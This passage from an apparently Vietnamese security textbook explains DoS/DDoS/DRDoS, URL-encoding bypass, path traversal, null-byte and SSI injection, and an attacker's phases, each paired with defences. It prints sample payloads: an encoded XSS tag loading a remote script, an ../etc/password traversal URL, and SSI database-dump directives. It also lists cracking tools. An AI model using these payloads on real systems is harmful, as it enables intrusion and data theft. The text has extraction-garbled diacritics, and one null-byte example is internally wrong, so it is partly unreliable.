III.3.1. Kiểu tấn công thứ 1
Hacker hồn tồn có khả năng làm ngập hệ thống vì băng thơng của hacker lớn hơn băng thông của máy đích. Kiểu tấn cơng này không bị hạn chế bởi tốc độ truyền mạng.
Ví
d ụ 9.III.3.1-1: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps.
III.3.2. Kiểu tấn cơng thứ 2
Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp so với đường truyền của máy đích.
Khơng giống như kiểu tấn công DoS truyền thống ( phần 2 ), kiểu tấn công vào băng thơng lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau cùng một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống đích khơng cịn khả năng đáp ứng, máy chủ khơng cịn khả năng nhận một gói tin nào nữa.
Chương 9: Từ chối dịch vụ (Dos)
Hình 9.III.3.2-1: Kiểu tấn cơng DoS vào băng thơng
Theo hình 9.III.3.2-1, tất cả các gói tin đi vào 1 mạng máy tính qua 1 "Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính con tùy theo địa chỉ IP của gói tin.
Nhưng nếu tồn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng đến 1 máy nhất định trong mạng máy tính con này, router đành phải chấp nhận loại bỏ phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của máy tính đó. Kiểu tấn cơng này sẽ loại máy đích ra khỏi Internet.
Đây là phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi là DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽ được phát động để gửi gói tin đến máy đích ( mặc dù đường truyền của mỗi máy không cao nhưng nhiều đường truyền lại hợp thành một ống dẫn “ Big Pipe”), làm cho máy đích khơng cịn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet, như sơ đồ minh họa sau:
Chương 9: Từ chối dịch vụ (Dos)
Hình 9.III.3.2-2: Tấn cơng DDoS
DRDoS (Distributed Reflection Denial of Service) - Thế hệ tiếp theo của DDoS:
Đây cũng chính là nguyên nhân khiến cho trang grc.com bị phá vỡ. Hình sau sẽ minh họa kiểu tấn công DRDoS này.
Chương 9: Từ chối dịch vụ (Dos)
Hình 9.III.3.2-3. Tấn cơng kiểu DRDoS
Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thơng báo. Vì địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ được gửi về cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích khơng đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ thống máy đích đã bị sụp đổ.
Chương 9: Từ chối dịch vụ (Dos)
III.4. Kiểu tấn công vào tài nguyên hệ thống
Đây là kiểu tấn công nhằm vào tài nguyên hệ thống hơn là tài nguyên mạng như CPU, bộ nhớ, file hệ thống, tiến trình…..Hacker là một người dùng hợp lệ của hệ thống, và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, hacker sẽ lạm dụng quyền truy cập này để yêu cầu thêm tài nguyên. Như vậy, hệ thống hay những người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên chia sẻ.
Kiểu tấn công sẽ khiến cho hệ thống khơng thể sử dụng được vì tài nguyên đã bị sử dụng hết, khơng cịn tiến trình để thực thi nữa.
IV. BIỆN PHÁP PHỊNG CHỐNG
Kiểu tấn cơng từ chối dịch vụ là kiểu tấn cơng gây nhiều khó khăn trong vấn đề bảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa chỉ IP của máy mình nên rất khó xác định ai là thủ phạm.
Để phịng chống khả năng khuyếch đại đường truyền, cần:
• Huỷ khả năng broadcast tại router biên
• Tăng kích thước hàng đợi kết nối
-> kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng cách này sử dụng nhiều tài nguyên
• Giảm thời gian thiết lập kết nối
• Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS:
Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phịng chống kiểu tấn cơng lụt SYN.
Chương 9: Từ chối dịch vụ (Dos)
Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn cơng này. Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống
Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hàng đợi sẽ khơng bị phá vỡ.
• Ứng dụng chỉ cho phép mỗi một máy con chỉ được thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi cùng lúc nhiều yêu câu gây tắc nghẽn.
Nh
ậ n xét:
Kiểu tấn công từ chối dịch vụ tuy chỉ khiến cho hệ thống bị phá vỡ trong vài phút nhưng hậu quả thì khá to lớn (ảnh hưởng trên phạm vi tiền và uy tín). Đây là kĩ thuật thường được hacker sử dụng trong trường hợp không thể chiếm quyền quản trị trên hệ thống hoặc thơng tin, hoặc muốn phá hủy uy tín của cơ quan đó.Thêm vào đó việc giả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ bị phát hiện. Thông thường kĩ thuật này được thực hiện kèm theo sự hỗ trợ của vài công cụ như ping of death, teardrop…Những công cụ này được liệt kê thêm trong chương 8 tiếp theo.
Chương 10: Một số kĩ thuật tấn cơng khác
Chương 10
MỘT SỐ KĨ THUẬT TẤN CƠNG KHÁC
Nội dung :
I. Mã hóa URL.
II. Kiểu tấn cơng vượt đường dẫnIII. Tấn cơng dựa vào kí tự rỗng III. Tấn cơng dựa vào kí tự rỗng IV. Ngơn ngữ trình chủ
Chương 10: Một số kĩ thuật tấn công khác
CHƯƠNG 10: MỘT SỐ KĨ THUẬT TẤN CƠNG KHÁC
I. MÃ HĨA URL (URL Encoding)
I.1. Khái niệm
Theo RFC 1738 định nghĩa URL và RFC 2369 cho URIs, những kí tự được giới hạn sử dụng trên URL hoặc URI là một tập các kí tự US-ASCII. Theo RFC 1738, 2369 những kí tự chữ số, kí tự đặc biệt như “ $-_.+!*’() ” và một số kí tự dành riêng là khơng bị mã hố trên URL hay URIs. Cịn những kí tự đặc biệt khác thì được mã hóa như khoảng trắng, < > ”…Sau khi trình chủ nhận được dữ liệu này, trình chủ sẽ tự động giải mã để thao tác như bình thường.
Vậy hacker có thể lợi dụng được gì trong URL mã hóa này.
Những nhà phát triển ứng dụng có thể sẽ thiết kế ứng dụng để kiểm tra dữ liệu nhập vào của người dùng có hợp lệ hay khơng, những kí tự đặc biệc như < > trong thẻ script thường được dùng trong những kĩ thuật tấn công như XSS sẽ bị lọai bỏ Vậy để hợp thức hóa nội dung dữ liệu cần nhập, hacker thay vì nhập trực tiếp kí tự đặc biệt vào ơ nhập thì họ có thể nhập những kí tự đã được mã hố theo chuẩn RFC 1738, RFC 2369. Như vậy bằng cách đó, hacker có thể dễ dàng vượt qua kiểm sốt này.
Chương 10: Một số kĩ thuật tấn cơng khác
Ví
dụ 10.I.1-1:
http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt p %3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e Biến mydata sẽ mang nội dung:
<script src="http://www.yourserver.com/badscript.js"></script>
I.2. Một số biện pháp phịng chống
• Tránh sử dụng phương thức GET vì nếu dùng GET, dữ liệu dễ dàng được thêm vào URL. Vì thế, sử dụng phương thức POST bất cứ khi nào có thể.
• Trong trường hợp URL bắt buộc được sử dụng để chuyển dữ liệu lên trình chủ, cần giới hạn kiểu dữ liệu, nên kiểm tra dữ liệu trong ứng dụng trước khi sử dụng.
• Khơng nên sử dụng ngôn ngữ máy khách để kiểm tra tính đúng đắn của dữ liệu.
II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN
II.1. Khái niệm
Nhiều ứng dụng sử dụng tập tin hệ thống của trình chủ trong “lớp trình bày” để hiển thị thơng tin lưu trử tạm thời. Những tập tin này bao gồm những tập tin hình ảnh , tập tin HTML, hay những ứng dụng CGI. Thư mục WWW-ROOT là một thư mục gốc ảo bên trong trình chủ, nơi mà được truy xuất bởi trình duyệt. Ứng dụng lưu trữ thơng tin bên trong hoặc bên ngịai WWW-ROOT.
Nếu ứng dụng khơng kiểm tra những kí tự đặc biệt, thường được sử dụng trong đường dẫn như “/” thì có thể rằng ứng dụng đã có một lỗ hổng cho kiểu tấn cơng
Chương 10: Một số kĩ thuật tấn cơng khác
vượt đường dẫn. Hacker có thể u cầu trình chủ trả về kết quả là nội dung những tập tin vật lí như /etc/password…
Tóm l ạ i:
Kiểu tấn công này cũng dựa vào sự lỏng lẻo trong quá trình kiểm tra dữ liệu trên URL, cookie, HTTP Header yêu cầu. Lợi dụng quyền truy xuất một tập tin của ứng dụng, nhờ đó hacker có thể xem được file lưu trữ trên hệ thống.
Ví
d ụ 10.II.1-1:
http://maydich.com/show.asp?result= “dangnhapthanhcong.asp”
nhưng nếu hacker thay đổi tên tập tin cần truy xuất như sau:
http://maydich.com/show.asp?result= ../etc/password
như vậy hacker có thể xem nội dung file password được lưu trữ trong hệ thống.
II.2. Một số biện pháp phòng chống
Việc phòng chống kiểu tấn công vượt đường dẫn là một thử thách lớn cho những nhà ứng dụng trong một hệ thống phân tán. Tuy nhiên, cách phòng chống tốt nhất vẫn là Ứng dụng cần kiểm tra việc truy xuất file trước khi xuất kết quả cho trình duyệt.
Chương 10: Một số kĩ thuật tấn cơng khác
III. TẤN CƠNG DỰA VÀO KÍ TỰ RỖNG
III.1. Khái niệm
Nhiều ứng dụng Web thường sử dụng ngôn ngữ lập trình như C, Java để tạo modul xử lý những công việc như thao tác trên những dữ liệu nhập vào từ người dùng. Lợi dụng kí tự kết thúc chuỗi mà hacker sẽ thêm vào một chuỗi nhập để đánh lừa ứng dụng.
Ví
d ụ 10.III.1-1:
Giả sử hacker đưa vào một chuỗi “AA\0BB” thì qua chương trình lập trình bằng ngơn ngữ C, chuỗi này có thể bị cắt ngắn thành AAAA vì C xem \0 là dấu hiệu kết thúc chuỗi. Hacker có thể lợi dụng điều này để vượt qua các khâu kiểm tra nội dung chuỗi.
III.2. Một số biện pháp phòng chống
Cách duy nhất để phòng chống trường hợp này đó là chỉ chấp nhận những dữ liệu hợp lệ. Những kí tự như “\” phải bị lọai bỏ trước khi ứng dụng sử dụng chúng.
IV. NGƠN NGỮ PHÍA TRÌNH CHỦ
IV.1. Khái niệm
SSI là đoạn mã được nhúng vào trong trang Web để yêu cầu trình chủ cung cấp thơng tin ở một điểm nào đó trong trang.
Ví
Chương 10: Một số kĩ thuật tấn cơng khác
<!--#include file="test.asp"-->
Dịng lệnh trên nhúng nội dung file “test.asp” vào trong trang Web.
Tuy nhiên, SSI khơng phải được hỗ trợ trong hầu hết các trình chủ, Apache và IIS là 2 trình chủ hỗ trợ SSI. Trang Web có sử dụng SSI thường được lưu dưới dạng .shtml hoặc .stm (là phần mở rộng của .html hay .htm) để báo hiệu cho trình chủ biết trang này có sử dụng SSI để tiết kiệm thời gian xử lí cho trình chủ (khơng mất thời gian tìm kiếm).
Q trình thực hiện xử lí một trang Web u cầu:
Nếu khơng có bất kì chỉ thị nào khác, trình chủ chỉ gửi nội dung trang Web cho trình duyệt nhưng với một SSI, thì cơng việc tuần tự theo những bước như sau:
• Trình chủ nhận dữ liệu và phân tích dữ liệu (tìm kiếm và phân loại những câu lệnh đặc biệt) để chỉ thị thực hiện
• Dưa trên những câu lệnh mà trình chủ tìm thấy, trình chủ thực thi những câu lệnh đó để trả kết quả cho trình duyệt.
• Trả kết quả về cho trình duyệt
Có 3 khả năng thực hiện:
• Nhận thơng tin từ một file và chèn vào trong trang
• Gán giá trị cho một số biến
• Gọi chương trình CGI
Chương 10: Một số kĩ thuật tấn công khác
IV.2. Cách tấn công
Hacker lợi dụng những ơ nhập để chèn thêm vào đó nội dung một câu lệnh SSI. Ví
d ụ 10.IV.2-1:
<!--#jdbc select="SELECT * FROM User" name="result" driver="org.gjt.mm.mysql.Driver"
url="jdbc:mysql://localhost:3306/project" -->
Thiết lập câu lệnh Select
<!--#jdbc name="result" next="true" -->
Câu lệnh này di chuyển con trỏ đến dòng đầu tiên trong tập tin.
<!--#jdbc name="result" column="1" -->
Hiển thị nội dung dòng đầu tiên.
IV.3. Biện pháp phòng chống
Với người quản trị, cấu hình lại trình chủ sao cho trình chủ khơng hỗ trợ SSI. Với người lập trình, kiểm tra kĩ nội dung dữ liệu gửi từ người dùng. Loại bỏ những kí tự như < > # -- !…Tuy nhiên điều này nên được thực hiện tại trình chủ, khơng nên kiểm tra tính đúng đắn của dữ liệu bằng ngơn ngữ phía trình khách, vì khả năng thay đổi nội dung của trang Web.
Chương 11: Tổng kết q trình tấn cơng của Hacker
Chương 11
TỔNG KẾT Q TRÌNH TẤN CƠNG CỦA HACKER
Nội dung:
I. Thu thập thông tin ở mức hạ tầng của mục tiêuII. Khảo sát ứng dụng Web II. Khảo sát ứng dụng Web
Chương 11: Tổng kết q trình tấn cơng của Hacker
CHƯƠNG 11:
TỔNG KẾT Q TRÌNH TẤN CƠNG CỦA HACKER
Theo tài liệu Hacking Exposed của Stuart McClure, Joel Scambray, George Kurtz thì các kẻ tấn cơng thường thực hiện các giai đoạn sau khi tấn cơng
I. THU THẬP THƠNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU
• Bước 1: FootPrinting (thu thập thông tin):
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng, bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v - là những thơng tin chính thức có liên quan đến mục tiêu.
Công cụ hỗ trợ: UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix client, http://www.networksolutions.com/whois, nslookup Is -d , Sam spade, http://www.arin.net/whois, dig
• Bước 2: Scanning (Quét thăm dò):
Phần lớn thơng tin quan trọng từ server có được từ bước này , bao gồm quét cổng, xác định hệ điều hành, .v.v.. để biết các port trên server, nghe đường dữ liệu. Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap, queso, siphon.
Chương 11: Tổng kết q trình tấn cơng của Hacker
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập, bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rất nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite Admin showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo.
• Bước 4: Gaining access (Tìm cách xâm nhập):
Bây giờ hacker sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay brute force (kiểm tra tất cả các trường hợp) password.
Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT) ttdb, bind, IIS, HTR/ISM.DLL.
• Bước 5: Escalating privilege (Leo thang đặc quyền):
Trong trường hợp hacker xâm nhập đựợc vào mạng với một tài khoản nào đó, thì họ sẽ tìm cách kiểm sốt tồn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền.
John và Riper là hai chương trình crack password rất hay được sử dụng. Cơng cụ: L0phtcrack, Ic_messages, getadmin, sechole.
Chương 11: Tổng kết q trình tấn cơng của Hacker
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương